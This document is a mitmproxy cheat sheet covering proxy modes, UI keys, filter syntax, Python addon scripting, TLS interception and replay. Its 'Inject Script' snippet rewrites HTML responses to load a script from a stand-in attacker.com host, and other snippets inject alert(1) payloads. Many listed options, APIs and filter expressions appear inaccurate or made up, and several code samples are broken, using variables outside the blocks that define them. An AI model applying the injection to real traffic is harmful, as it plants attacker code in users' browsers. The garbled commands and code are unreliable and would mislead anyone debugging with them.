Mitmproxy Quick Reference

A handy guide to using mitmproxy for intercepting, inspecting, modifying, and replaying network traffic. Covers basic commands, filtering, scripting, and common tasks.

Getting Started & Basics

Installation & Running

Install (pip):

```
pip install mitmproxy
```

Install (Brew):

```
brew install mitmproxy
```

Run mitmproxy (terminal UI):

```
mitmproxy
```

Run mitmweb (web UI):

```
mitmweb
```

Run mitmdump (scripting/headless):

```
mitmdump
```

Specify port (default 8080):

```
mitmproxy -p 8888
```

Basic help:

```
mitmproxy --help
```

Generate CA certs (~/.mitmproxy):
Run mitmproxy once, then install certs on client.

Transparent proxy:
Requires OS/firewall config.

SOCKS proxy:

```
mitmproxy --mode socks5
```

Reverse proxy:

```
mitmproxy --mode reverse:http://example.com
```

Upstream proxy:

```
mitmproxy --mode upstream:http://proxy.local:8080
```

Certificates: Install `mitmproxy-ca-cert.pem` on clients for HTTPS.

Troubleshooting: Check firewall rules, OS proxy settings.

Log level:

```
mitmproxy --set verbosity=debug
```

No server certificate verification:

```
mitmproxy --ssl-insecure
(Use with caution)
```

Basic UI Navigation (mitmproxy/mitmweb)

`?`	Show help / command palette.
`hjkl` / Arrow Keys	Navigate within views/lists.
`Enter`	View selected flow details.
`q`	Close current view, go back.
`f`	Set/modify filter expression.
`C`	Clear flows.
`s`	Save flows to a file.
`L`	Load flows from a file.
`o`	Set options.

Flow Interaction (mitmproxy UI)

`d`	Delete flow(s).
`r`	Replay flow(s) on the client side.
`R`	Replay flow(s) on the server side.
`e`	Edit flow (request/response).
`M`	Mark/unmark flow.
`p`	Pause/resume interception.
`v`	View event log.
`^B` (Ctrl+B)	Interrupt flow before sending to server (break request).
`^Q` (Ctrl+Q)	Interrupt flow before sending to client (break response).

Command Line Options (Common)

`-p PORT`	Listen on port PORT (default 8080).
`-m MODE`	Set proxy mode (regular, transparent, socks5, reverse, upstream).
`-s SCRIPT`	Run a Python script.
`-r FILE`	Read flows from a file.
`-w FILE`	Write flows to a file.
`--listen-host IP`	Listen on IP address.
`--ssl-insecure`	Disable server TLS certificate verification.
`--set OPT=VAL`	Set an option, e.g., `set stream_large_bodies=true`.
`--ignore-hosts REGEX`	Ignore connections to hosts matching regex.

Filtering & Viewing Flows

Basic Filters

`~u url_regex`	Match flows whose URL matches regex.
`~h header_regex`	Match flows whose headers match regex.
`~b body_regex`	Match flows whose request or response body matches regex.
`~q`	Match flows with no response yet.
`~s status_code`	Match flows with status code.
`~m method`	Match flows by HTTP method (GET, POST, etc.).
`~c content_type_regex`	Match flows by content type regex.
`~t type`	Match by type (html, css, script, image, etc.).
`~d domain`	Match flows by domain.

Complex Filters & Expressions

`&`	Logical AND.
`|`	Logical OR.
`!`	Logical NOT.
`()`	Grouping.
`host = "example.com"`	Match by host (exact string match).
`url.path ~ /users/\d+$/`	Access flow object attributes using Python-like syntax.
`status_code >= 400`	Numeric comparison.
`duration > 1.0`	Match flows slower than 1 second.
`@ext:my_addon.my_filter`	Custom filters provided by addons.

Viewing Flow Details (mitmproxy UI)

`f`	Switch to the request view.
`e`	Switch to the response view.
`h`	Switch to the request headers view.
`H`	Switch to the response headers view.
`b`	Switch to the request body view.
`B`	Switch to the response body view.
`m`	Switch to the request body parsed as form data.
`M`	Switch to the response body parsed as form data.
`t`	Toggle body display mode (raw, pretty, hex, etc.).

Searching Flows

`/ regex`	Search forward using regex.
`? regex`	Search backward using regex.
`n`	Find next match.
`N`	Find previous match.
`// regex`	Search within the current flow view.
`<Enter>` (in search prompt)	Execute search.
`<Esc>` (in search prompt)	Cancel search.
Tip: Searches respect the current filter.	**Tip:** Searches are case-sensitive by default. Use regex flags.
Tip: Use specific views (req/resp body/headers) for targeted search.	

Modifying & Scripting

Simple Modifications (mitmproxy UI/mitmdump)

`e` (in flow view)	Edit request/response headers, body, URL etc. Live editing.
`a` (Apply)	Apply changes after editing a flow.
`--replace-request REGEX_PATH REGEX_FROM REGEX_TO`	Replace content in request body matching path regex. ```mitmproxy --replace-request '/api/' 'old' 'new'```
`--replace-response REGEX_PATH REGEX_FROM REGEX_TO`	Replace content in response body matching path regex. ```mitmproxy --replace-response '.*' '</body>' '<script>alert(1)</script></body>'```
`--replace-request-headers REGEX_PATH REGEX_FROM REGEX_TO`	Replace content in request headers.
`--replace-response-headers REGEX_PATH REGEX_FROM REGEX_TO`	Replace content in response headers.
`--map-remote REGEX_URL TARGET_URL`	Map requests matching URL regex to a different URL. ```mitmproxy --map-remote 'http://example.com/foo' 'http://localhost:5000/bar'```
`--map-local REGEX_URL FILE_PATH`	Map requests matching URL regex to a local file. ```mitmproxy --map-local 'http://example.com/js/app.js' '/path/to/local/app.js'```
Breakpoints: Use `^B` (req) / `^Q` (resp) in UI to pause flow for manual editing.	

Scripting (mitmproxy Python API)

Run a script:

```
mitmproxy -s your_script.py```
```

Script lifecycle methods:

```
def request(flow):
    # Called when a client request is received before being sent
to server.
    pass

def response(flow):
    # Called when a server response is received before being
sent to client.
    pass

def error(flow):
    # Called when a flow encounters an error.
    pass

def websocket_message(flow):
    # Called when a WebSocket message is sent or received.
    pass
# ... and many others (tcp_message, http_connect, etc.)```
```

Accessing flow components:

`flow.request` - HTTP Request object
`flow.response` - HTTP Response object
`flow.server_conn` - Server connection object
`flow.client_conn` - Client connection object

Request/Response objects attributes:

`flow.request.pretty_url`, `flow.request.method`, `flow.request.headers`, `flow.request.content`, `flow.request.timestamp_start`, etc.
`flow.response.status_code`, `flow.response.reason`, `flow.response.headers`, `flow.response.content`, `flow.response.timestamp_end`, etc.

Modifying flow:

Modify attributes directly, e.g., `flow.request.headers["User-Agent"] = "Modified"`.
Set content: `flow.response.content = b"New body"`
Kill flow: `flow.kill()`
Replace response: `flow.response = http.HTTPResponse.make(200, b"OK", {"Content-Type": "text/plain"})`

Logging from script:

`mitmproxy.log.info("Info message")`
`mitmproxy.log.warn("Warning")`
`mitmproxy.log.error("Error")`

Script arguments:

Define options in `your_script.py`:

```
import mitmproxy.addonmanager

class MyAddon:
    def load(self, loader):
        loader.add_option(
            name="my_option",
            types=str,
            default="default_value",
            help="My custom option"
        )

    def request(self, flow):
        if flow.request.pretty_url ==
self.ctx.options.my_option:
            flow.kill()

addons = [MyAddon()]```
Run with: `mitmproxy -s your_script.py --set
my_option=block_url`
```

Accessing context (`self.ctx`):

`self.ctx.options` - Access command-line options.
`self.ctx.master` - Access the mitmproxy core instance.
`self.ctx.log` - Access the logger.

Example: Redirect all requests:

```
from mitmproxy import http

def request(flow):
    flow.request.pretty_url = "http://example.com/"```
```

Common Scripting Tasks

Modify Request Header:

```
def request(flow):

    flow.request.headers["X-Modified"] = "Mitmproxy"```

**Modify Response Header:**

```
def response(flow):
    flow.response.headers["X-Server-Info"] = "Fake-Server"```

Modify Request Body (Text):

```
import json

def request(flow):
    if "application/json" in flow.request.headers.get("Content-Type", ""):
        data = json.loads(flow.request.content)
        data["user"] = "fake_user"

    flow.request.content = json.dumps(data).encode()```

**Modify Response Body (Text):**

```
def response(flow):
    if "text/html" in flow.response.headers.get("Content-Type", ""):
        flow.response.content = flow.response.content.replace(b"</body>", b"<script>alert('Modified!')</script></body>")```

Inject Script:

```
def response(flow):
    if "text/html" in flow.response.headers.get("Content-Type", ""):
        injection = b"<script src='http://attacker.com/malicious.js'></script>"

    flow.response.content = flow.response.content.replace(b"</body>", injection + b"</body>")```

**Block URLs:**

```
import re

block_list = [re.compile("badsite.com"), re.compile("tracking.io")]

def request(flow):
    for pattern in block_list:
        if pattern.search(flow.request.pretty_url):
            flow.kill()
            return```

Delay Response:

```
import time

def response(flow):
    time.sleep(1) # Add 1 second delay```

**Modify Status Code:**

```
def response(flow):
    if flow.response.status_code == 404:

        flow.response.status_code = 200
        flow.response.content = b"Not Found (But I'll pretend)"```

Log specific requests:

```
import mitmproxy.log

def request(flow):
    if "sensitive" in flow.request.pretty_url:

        mitmproxy.log.info(f"Sensitive request: {flow.request.pretty_url}")
```

Handle large bodies: Use `--set stream_large_bodies=true` and read/write content in chunks in scripts.

Redirect:

```
from mitmproxy import http

def request(flow):
    if flow.request.pretty_url == "http://old.com/":
        raise http.Redirect("http://new.com/")```

**Fake Response:**

```
from mitmproxy import http

def request(flow):
    if flow.request.pretty_url == "http://api.com/data":
        flow.response = http.HTTPResponse.make(
            200,
            b'{"status": "OK", "data": "fake_data"}',
            {"Content-Type": "application/json"}
)```

Extract Data:

```
import re

def response(flow):
    if "text/html" in flow.response.headers.get("Content-Type", ""):
        match = re.search(b"<title>(.*?)<\/title>", flow.response.content)
        if match:
            title = match.group(1).decode()

        mitmproxy.log.info(f"Found title: {title}")```
```

mitmproxy Addons

Addons are Python scripts that provide custom functionality.

Run multiple addons:

```
mitmproxy -s addon1.py -s addon2.py```
```

Addons can be installed via pip (`pip install mitmproxy_<addon_name>`) or run as local files.

Examples of built-in addons:
`set_headers.py`: Set/remove/replace headers based on configuration.
`replace.py`: Simple text replacement.
`mapremote.py`: Map remote URLs.
`upstream.py`: Configure upstream proxy.

Running built-in addons:

```
mitmproxy -s ./mitmproxy/addons/set_headers.py```
(Location may vary based on installation)
```

Custom addons should implement the lifecycle methods (`request`, `response`, etc.) and optionally the `load` method for options.

Accessing addon context: Addons are classes, the `self` object provides context (`self.ctx`).

Explore the `mitmproxy/addons` directory in the source code for more examples.

Writing your own: Start with a simple script, then structure it as a class if needed for state or options.

SSL/TLS & Replay

SSL/TLS Handling

How it works: mitmproxy acts as a Man-in-the-Middle. It generates certificates for the sites you visit, signed by its own CA certificate.	**Client requirement:** The mitmproxy CA certificate must be trusted by the client device/browser.
Install CA Cert: Visit `mitm.it` through the proxy to download certs for various platforms (requires the proxy to be running).	**Default cert location:** `~/.mitmproxy` on Linux/macOS, `%APPDATA%\mitmproxy` on Windows.
`--ssl-insecure`	Disables server certificate verification. Useful for testing self-signed certs or issues, but insecure.
`--cert FILE`	Use a specific server certificate for interception (e.g., for a specific domain).
`--no-ssl-bump-hosts REGEX`	Don't intercept SSL/TLS for hosts matching regex (useful for sensitive sites or sites with issues).
`--ssl-vers TLS_VERSIONS`	Specify TLS versions to support (e.g., `TLSv1.2,TLSv1.3`).
`--ciphers CIPHER_STRING`	Specify accepted cipher suites (OpenSSL format).
Troubleshooting SSL: Check if the CA cert is correctly installed and trusted. Check `--no-ssl-bump-hosts` settings. Use `--set ssl_debug=true` for verbose output.	**Tip:** Browsers often have their own certificate stores.
Common Issue: HSTS (HTTP Strict Transport Security) can cause browsers to reject invalid certificates even if the CA is trusted. Clearing browser cache might help.	

Client-Side Replay ('r')

Replays a request as if it came from the original client.
Select flow(s) in the UI and press `r`.
Creates a *new* flow with the replayed request.
Useful for testing how a server handles repeated requests or slightly modified requests.
Doesn't preserve original client connection state (cookies, sessions might be affected if not in headers/body).
Modify before replay: Use `e` to edit the flow before pressing `r`.
mitmdump: Not directly supported, use scripting to create and send requests programmatically.
Replayed flows are marked in the UI.

Server-Side Replay ('R')

Replays a response for an incoming request from the client.
Select a flow (containing the desired response) in the UI and press `R`.
The *next* matching incoming request from *any* client will receive this replayed response instead of going to the server.
Useful for simulating server responses (errors, specific data, etc.) without the server being involved.
The replay happens based on matching request URL, method, and potentially headers/body (configurable).
Replayed responses are also marked in the UI.
To configure matching: `o` -> `server_replay_ignore_params`, `server_replay_ignore_host`, etc.
mitmdump: Use the `--server-replay` option. ```mitmdump --server-replay flows.mitm --set server_replay_ignore_params=true```
Response is replayed only *once* by default. Repeat `R` or use script for multiple replays.

Best Practices & Tips

Install CA Cert: Always install the CA cert on client devices for proper HTTPS inspection.
Filtering is your friend: Use filters (`f`) to quickly find relevant flows in a busy session.
Save Sessions: Save important sessions (`s`) to `.mitm` files for later analysis (`L`) or replay (`mitmdump -r file`).
Scripting for Automation: Use mitmdump and Python scripts for complex modifications, data extraction, and automated testing.
Stream large bodies: Use `--set stream_large_bodies=true` when dealing with large request/response bodies to avoid excessive memory usage. Remember this affects how you access `flow.request.content` and `flow.response.content` in scripts (they might be file-like objects).
Ignored Hosts: Use `--ignore-hosts` for sites you don't need to intercept (e.g., update servers, sensitive banking sites) or those that have issues with interception.
Breakpoints: Use `^B` and `^Q` for interactive flow modification during debugging.
Explore Options: Type `o` in the mitmproxy UI or use `mitmproxy --options` to see the vast range of configurable options.
Performance: Large numbers of flows can impact performance. Clear flows regularly (`C`) or use filtering to limit what's displayed.